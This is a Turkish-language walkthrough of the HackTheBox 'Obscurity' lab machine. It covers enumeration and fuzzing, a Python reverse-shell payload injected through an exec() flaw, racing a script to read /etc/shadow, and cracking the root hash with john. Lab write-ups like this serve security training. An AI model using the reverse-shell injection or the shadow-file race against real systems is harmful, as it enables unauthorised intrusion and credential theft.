Hackthebox-Obscurity Walkthrough

Hackthebox-Obscurity Walkthrough

Merhabalar arkadaşlar, bu yazıda Hackthebox platformu üzerinde medium seviye olarak belirlenmiş Obscurity adlı makine üzerinde user ve root flag değerlerinin nasıl elde edilebileceğini anlatacağım. Obscurity makinesi üzerinde server kaynak kodlarının erişilebilir halde olması ve bu kaynak kod üzerinde komut çalıştırma zafiyetlerinden faydalanarak sisteme sızma ve sistem içerisinde bulunan bir script kullanılarak şifrelenmiş user parolasından aynı script ile orjinal user parolasını elde ederek user flag değerini elde edecek ve yine elle yazılmış belirlenmiş dosya dizinine /etc/shadow içeriğini anlık olarak yazıp silen bir scripti kullanarak root parolasını ve ardından root flag değerini elde edecek şekilde hazırlanmış bir senaryo mevcuttur.

ENUMERATION

İlk adm olarak her zamanki gibi nmap ile makine üzerindeki portları ve bu portlar üzerinde çalışmakta olan servislerin taramasını yapıyoruz.

Obscurity makinesi üzerinde 22 SSH portu açık ve 8080 portu üzerinde Obscura başlıklı bir site bulunmaktadır.  8080 portuna gidip ziyaret edip gezindiğimizde dikkatimizi çeken bir nokta var. Bir ipucu olarak, Development başlığı adı altında server geliştiricilerine bırakılan bir mesaj, web server kaynak kodunun gizli geliştirme dizininde SuperSecureServer.py adında bir betik olduğu bilgisini veriyor.

SuperSecureServer.py dosyasının hangi dizinde bulunduğunu bulmak için wfuzz aracı ile site üzerinde fuzzing işlemi yapıyoruz.

Burada bir wordlist ve hedef url belirterek taramanın yapılacağı kızım FUZZ parametresi ile belirtilir. “—hc 404” argümanı ile 404 dönen  sonuçların listelenmesini  engellemek için kullanılmıştır. Sonuç olarak develop dizini fuzzing işlemi ile elde edilmiştir. Develop dizini altında SuperSecureServer.py betiğini incelediğimizde serveDoc adında bir fonksiyon içerisinde exec  fonksiyonu kullanıldığı görülüyor, yani bu kısmı manipüle ederek shell alabiliriz.

INITIAL SHELL

Burpsuite aracı ile sayfaya yapılan istekte araya girerek istekteki yolu manipüle edeceğiz. Bunun için ;

';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' "

python reverse shell’i kullanacağız. İsteği yeniden düzenleyip belirlediğimiz portu dinlemeye alıyoruz ve isteği gerçekleştirdiğimizde shell almış oluyoruz.

USER

Shell aldıktan sonra Robert kullanıcısına ait dizine baktığımızda aşağıdaki gibi metin dosyaları ve python betikleri bulunmakta.

Burada SuperSecureCrypt.py adlı betiği görüntüleyip  incelediğimizde bir şifreleme ve bir de deşifreleme fonksiyonu karşımıza çıkıyor. Burada eski bir şifreleme yöntemi kullanılmış ve şifrelenmiş metin girdi olarak, ilk metin de anahtar olarak verildiğinde şifreleme anahtarını bize veriyor.

Dizin içerisinde check.txt dosyasına baktığımızda bize bu dosyayı anahtarımız ile şifrelediğimizde out.txt ‘yi vermesi gerektiğini ve anahtarımızın doğruluğundan emin olmamız gerektiğini söyleyerek ipucu veriyor.

SuperSecureCrypt.py betiğiyle out.txt’yi girdi ve check.txt’yi anahtar olarak verdiğimizde şifreleme anahtarını elde etmiş olacağız. Çıktıyı tmp dizini altında key.txt olarak kaydediyoruz.

Aynı şekilde passwordreminder.txt dosyasını girdi olarak, elde ettiğimiz anahtarı  da key olarak verdiğimizde Robert kullanıcısına ait parolayı elde etmiş olacağız. Çıktıyı ps.txt olarak tmp dizinine kaydediyoruz.

Böylelikle Robert kullanıcısına ait parolayı SecThruObsFTW olarak elde etmiş olduk.

ROOT

Root için ise elde ettiğimiz Robert kullanıcısına ait dizinde BetterSSH adlı dizin içerisinde bulunan BetterSSH.py betiğini incelediğimizde, geçerli bir kullanıcı ve parola ile oturum doğrulaması yaptıktan sonra anlık olarak /tmp/SSH dizinine /etc/shadow dosyasını yazıp siliyor ve “ sudo –l  “ ile suid izinlerini kontrol ettiğimizde BetterSSH.py betiğini sudo olarak çalıştırmamıza izin verildiğini görüyoruz. Buradan root kullanıcısına ait parolayı elde edebiliriz.

Bunun için öncelikle /tmp/SSH dizinindeki dosyaların içeriklerini anlık olarak yakalayacak küçük bir betik yazmamız gerekmektedir. “while sleep 0.1, do cat /tmp/SSH/* 2>/dev/null;  done “ şeklinde bir bash script buradaki race condition için işimizi görmekte. Betiği komut satırında çalıştırdıktan sonra BetterSSH.py betiğini çalıştırıyoruz.

Betikleri çalıştırdıktan sonra bash scripti çalıştırdığımız terminalde /etc/shadow dosyasına ait içeriği göreceğiz. Böylelikle root kullanıcısına ait parolanın hash halini elde etmiş olduk

Elde ettiğimiz hash değerini rootPASS adında bir dosyaya kopyalıyoruz  ve john aracı ile hash değerini crackleyerek root kullanıcısına ait parolayı elde ediyoruz.

Son olarak root kullanıcısına ait parola ile bağlantı yaparak root.txt dosyasını elde etmiş oluyoruz.

Related Posts

Facebook Comments